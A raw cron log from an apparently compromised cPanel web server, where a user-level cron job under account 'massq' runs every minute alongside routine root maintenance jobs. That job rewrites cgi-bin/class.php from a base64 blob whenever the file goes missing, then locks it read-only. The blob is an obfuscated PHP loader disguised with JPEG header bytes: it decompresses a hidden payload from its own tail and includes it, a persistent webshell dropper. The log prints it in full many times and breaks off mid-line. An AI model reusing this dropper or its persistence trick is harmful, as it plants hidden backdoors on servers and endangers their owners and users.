Apr 11 00:00:01 server CROND[22141]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 00:00:01 server CROND[22142]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 00:00:01 server CROND[22140]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 00:01:01 server CROND[22316]: (root) CMD (run-parts /etc/cron.hourly)
Apr 11 00:01:01 server CROND[22317]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 00:01:01 server run-parts(/etc/cron.hourly)[22316]: starting 0anacron
Apr 11 00:01:01 server anacron[22329]: Anacron started on 2025-04-11
Apr 11 00:01:01 server anacron[22329]: Normal exit (0 jobs run)
Apr 11 00:01:01 server run-parts(/etc/cron.hourly)[22331]: finished 0anacron
Apr 11 00:02:01 server CROND[22416]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 00:03:01 server CROND[22484]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 00:04:01 server CROND[22651]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 00:05:01 server CROND[22723]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 11 00:05:01 server CROND[22724]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 00:05:01 server CROND[22725]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 00:05:01 server CROND[22726]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 00:06:01 server CROND[23028]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 00:07:01 server CROND[23104]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 00:08:02 server CROND[23171]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 00:09:01 server CROND[23335]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 00:09:01 server CROND[23336]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr 11 00:10:02 server CROND[23405]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 11 00:10:02 server CROND[23406]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 11 00:10:02 server CROND[23408]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 11 00:10:02 server CROND[23409]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 00:11:01 server CROND[23540]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 00:12:01 server CROND[23599]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 11 00:12:01 server CROND[23600]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 11 00:13:01 server CROND[23723]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgk